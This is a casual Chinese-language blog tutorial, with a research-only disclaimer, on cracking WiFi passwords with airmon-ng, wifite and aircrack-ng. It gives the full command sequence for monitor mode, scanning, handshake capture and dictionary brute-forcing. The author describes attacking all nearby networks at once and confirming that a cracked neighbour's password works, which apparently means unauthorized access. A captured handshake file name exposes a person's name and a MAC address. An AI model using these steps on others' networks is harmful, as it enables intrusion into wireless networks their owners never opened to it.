本文所有的内容仅供安全研究与教学之用，其余人将信息做其他用途由个人承担全部法律及连带责任，本人不承担任何法律及连带责任
预备
买一个大功率无线网卡，将它接入kali
aimon-ng介绍
airmon-ng用来实现无线接口在managed和monitor模式之间的转换。输入不带参数的airmon-ng命令，则会显示当前的接口状态。
aimon-ng用法
airmon-ng <start|stop> <interface> [channel] airmon-ng <check|check kill> < start|stop > 表示开启或者停掉某个接口（强制） < interface > 指定接口（强制） [channel] 将网卡设定到特定的信道（可选） < check|check kill > “check”会将所有影响到aircrack-ng工作的进程罗列出来，强烈推荐使用aircrack-ng套装的时候停掉这些进程。”check kill”会罗列并杀死影响aircrack-ng的进程。
命令
准备
service network-manager stop 关闭network manager服务 sudo airmon-ng check kill 停掉network managers然后杀死所有影响aircrack-ng的进程 在开启monitor模式之前，需要关闭network managers iwconfig 查看本机的无限状态 (可以看到我的电脑上有一块无线网卡wlan0) sudo airmon-ng start wlan0 打开网络监听 ,在wlan0上开启monitor模式 (wlan0为你选择的网卡的名称)
破译
sudo wifite aircrack-ng -w /PassWord2.txt hs/handshake_lijinyi_D2-82-6B-BE-11-C4_2021-07-19T21-28-23.cap
恢复
airmon-ng stop wlan0mon 关闭monitor模式 service network-manager start 重启network manager
结果
下图是wifite列出来的周边的WiFi，按ctrl+c可以停止扫描，然后输入前面的“NUM“选择要进行爆破的WiFi编号，这里我选择的是”all“整体爆破（毕竟素玄学，闲着也是闲着，电脑跑着，手机刷着抖音美滋滋）
这个是成功爆破的WiFi，后被我证实真的可以用，跑tplink的时候就会陷入了无限的死循环中，欸~~，tplink yyds!
因为对CMCC这个WiFi有点好奇，于是查了一下：
随e行WLAN：随e行WLAN业务是中国移动面向所有用户推出的高速无线上网服务，开通后，用户可通过笔记本电脑、手机、Pad等支持WLAN的终端，在中国移动WLAN信号（标识为CMCC-WEB或CMCC）覆盖区域内访问互联网，享受高速上网的乐趣。
中国移动WLAN网络标识为：CMCC-WEB、CMCC、CMCC-EDU、CMCC-XXX等。
同一个WLAN手机账号最多可同时使用3台终端登录。多终端登录时系统会对您的在线情况进行累计计费。您可以下载随e行客户端，对您的终端进行配置。
系统默认开启多终端在线提醒功能：
1.当您的账号有两台终端同时在线，系统将下发相应短信提示（仅在当天第一次出现该情况时进行提醒）。
2.当您的账号已有三台终端在线时，第四台终端将无法登陆。系统将下发已有三台终端在线的短信提示（仅在当天第一次出现该情况时进行提醒）。您可以在账号管理-境内短信提醒设置页面中关闭多终端在线提醒功能，取消多终端在线提醒短信。
欸，这个机制就很无奈了，随时会被扳的节奏（土下座(¬‿¬)
接下来列出来的是第二种，抓到了握手包，可以结合aircrack-ng对它进行爆破（这个就要靠字典了，爆破yyds）
